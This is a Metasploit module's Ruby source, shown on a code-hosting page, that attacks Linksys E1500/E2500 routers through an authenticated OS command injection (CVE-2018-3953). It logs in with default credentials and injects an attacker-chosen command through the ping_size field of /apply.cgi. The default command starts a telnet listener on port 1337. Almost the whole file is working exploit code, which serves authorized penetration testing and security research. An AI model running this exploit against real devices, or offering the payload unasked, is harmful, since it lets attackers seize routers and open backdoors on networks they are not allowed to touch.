Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
32945 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Linksys E1500/E2500 Remote Command Execution',
14
'Description' => %q{
15
Some Linksys Routers are vulnerable to an authenticated OS command injection.
16
Default credentials for the web interface are admin/admin or admin/password. Since
17
it is a blind os command injection vulnerability, there is no output for the
18
executed command. A ping command against a controlled system for can be used for
19
testing purposes.
20
},
21
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2018-3953' ],
25
[ 'OSVDB', '89912' ],
26
[ 'BID', '57760' ],
27
[ 'EDB', '24475' ],
28
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
29
],
30
'DisclosureDate' => '2013-02-05',
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'SideEffects' => [IOC_IN_LOGS],
34
'Reliability' => []
35
}
36
)
37
)
38
39
register_options(
40
[
41
OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
42
OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
43
OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])
44
]
45
)
46
end
47
48
def run
49
uri = '/apply.cgi'
50
user = datastore['HttpUsername']
51
pass = datastore['HttpPassword']
52
53
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
54
55
begin
56
res = send_request_cgi({
57
'uri' => uri,
58
'method' => 'GET',
59
'authorization' => basic_auth(user, pass)
60
})
61
62
return if res.nil?
63
return if (res.code == 404)
64
65
if [200, 301, 302].include?(res.code)
66
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
67
else
68
print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
69
return
70
end
71
rescue ::Rex::ConnectionError
72
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
73
return
74
end
75
76
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
77
78
cmd = datastore['CMD']
79
# original post request:
80
# data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
81
# action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
82
83
vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
84
begin
85
send_request_cgi({
86
'uri' => uri,
87
'method' => 'POST',
88
'authorization' => basic_auth(user, pass),
89
'vars_post' => {
90
'submit_button' => 'Diagnostics',
91
'change_action' => 'gozila_cgi',
92
'submit_type' => 'start_ping',
93
'action' => '',
94
'commit' => '0',
95
'ping_ip' => '1.1.1.1',
96
'ping_size' => "&#{cmd}&",
97
'ping_times' => '5',
98
'traceroute_ip' => ''
99
}
100
})
101
rescue ::Rex::ConnectionError
102
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
103
return
104
end
105
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
106
print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")
107
end
108
end
109
110